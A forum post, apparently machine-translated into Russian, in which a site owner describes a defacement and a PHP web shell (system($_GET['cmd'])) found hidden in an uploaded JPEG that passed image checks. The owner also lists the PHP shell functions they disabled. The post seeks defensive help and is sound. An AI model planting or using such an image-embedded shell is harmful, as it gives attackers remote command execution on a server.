Вчера мой сайт был составлен.Атакующий изменяет файл index.php на свой собственный (со всеми своими сообщениями славы и приветствия).Я уведомил об этом хостинговую компанию (мы работаем на выделенном сервере), и, со своей стороны, я пытаюсь исправить все, что кажется причиной, потому что я все еще не могу указать, как именносервер был атакован, но я думаю, что я нашел некоторые основанные на сценариях лазейки, которые могут быть причиной.
На нашем сайте есть форма загрузки изображений, но все загруженные изображения проверяются, если они действительно являются файлом изображенияа не некоторые коды с использованием функции php getimagesize.Только если тип изображения IMAGETYPE_GIF или IMAGETYPE_JPEG, или IMAGETYPE_PNG, они будут приняты.Иначе, они не смогут загрузить файл.Однако я обнаружил, что один загруженный файл изображения содержит скрипт php!Вы можете скачать изображение здесь .Это допустимый файл изображения, но попробуйте открыть изображение с помощью любого текстового редактора, и вы найдете внутри него код php:
<code><?php
echo "<pre>"; system($_GET['cmd']); echo "
";?>
Например, изображениезагружен в это местоположение (www.mysite.com/uploads/picodes.jpg). Обратите внимание, что разрешение на загрузку в папку равно 755. Есть ли способ, которым злоумышленник может выполнить систему (или любую другую команду, такую как passthru,поскольку мы обнаружили, что другое изображение имеет тот же код, что и выше, но вместо системного оно имеет команду passthru), например, набрав www.mysite.com / uploads / picodes.jpg? cmd = некоторая команда ?? Насколько мне известно, это невозможно сделать (очень ценю, если кто-то может доказать, что я не прав), если только злоумышленник не может переименовать файл jpg в php, и даже в этом случае эти коды скрыты глубоко внутри изображения (пожалуйста, посмотрите изображение в текстовом редакторе, чтобы понять, что я пытаюсь сказать)
Для предосторожности я отключил эти функции php (exec, passthru, proc_close, proc_get_status, proc_хороший, proc_open, proc_terminate, shell_exec, system), добавив их в disable_functions в php.ini.
В любом случае, я все еще думаю, что злоумышленник получает доступ не через веб, а через использование сервера, но я думаю, что мой хостингКомпания думает иначе.